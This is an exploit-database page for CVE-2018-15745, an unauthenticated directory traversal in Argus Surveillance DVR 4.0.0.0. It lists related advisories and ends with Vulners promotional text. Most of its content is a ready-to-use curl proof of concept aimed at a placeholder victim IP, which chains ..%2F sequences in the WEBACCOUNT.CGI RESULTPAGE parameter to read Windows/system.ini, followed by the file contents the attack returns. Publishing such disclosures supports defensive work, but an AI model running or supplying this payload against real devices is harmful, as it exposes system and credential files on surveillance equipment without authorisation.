Argus Surveillance DVR 4.0.0.0 - Directory Traversal
| Reporter | Title | Published | Views | Family All 13 |
|---|---|---|---|---|
 | Argus Surveillance DVR 4.0.0.0 Directory Traversal Vulnerability | 29 Aug 201800:00 | – | zdt |
 | CVE-2018-15745 | 30 Aug 201800:00 | – | attackerkb |
 | CVE-2018-15745 | 29 Aug 201800:00 | – | circl |
 | Argus Surveillance DVR Directory Traversal (CVE-2018-15745) | 31 May 202000:00 | – | checkpoint_advisories |
 | CVE-2018-15745 | 30 Aug 201817:00 | – | cve |
 | CVE-2018-15745 | 30 Aug 201817:00 | – | cvelist |
 | Argus Surveillance DVR 4.0.0.0 - Directory Traversal | 1 Feb 202518:54 | – | metasploit |
 | Argus Surveillance DVR 4.0.0.0 - Local File Inclusion | 23 Jul 202603:49 | – | nuclei |
 | CVE-2018-15745 | 30 Aug 201817:29 | – | nvd |
 | Argus Surveillance DVR Multiple Vulnerabilities | 29 Aug 201800:00 | – | openvas |
10
# Exploit: Argus Surveillance DVR 4.0.0.0 - Directory Traversal
# Author: John Page (aka hyp3rlinx)
# Date: 2018-08-28
# Vendor: www.argussurveillance.com
# Software Link: http://www.argussurveillance.com/download/DVR_stp.exe
# CVE: N/A
# Description:
# Argus Surveillance DVR 4.0.0.0 devices allow Unauthenticated Directory Traversal,
# leading to File Disclosure via a ..%2F in the WEBACCOUNT.CGI RESULTPAGE parameter.
# PoC
curl "http://VICTIM-IP:8080/WEBACCOUNT.CGI?OkBtn=++Ok++&RESULTPAGE=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2FWindows%2Fsystem.ini&USEREDIRECT=1&WEBACCOUNTID=&WEBACCOUNTPASSWORD="
# Result:
; for 16-bit app support
woafont=dosapp.fon
EGA80WOA.FON=EGA80WOA.FON
EGA40WOA.FON=EGA40WOA.FON
CGA80WOA.FON=CGA80WOA.FON
CGA40WOA.FON=CGA40WOA.FON
wave=mmdrv.dll
timer=timer.drv
# https://vimeo.com/287115273
# Greetz: ***Greetz: indoushka | Eduardo | GGA***Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
06 Sep 2018 00:00Current
7.2High risk
Vulners AI Score7.2
CVSS 25
CVSS 37.5
EPSS0.97709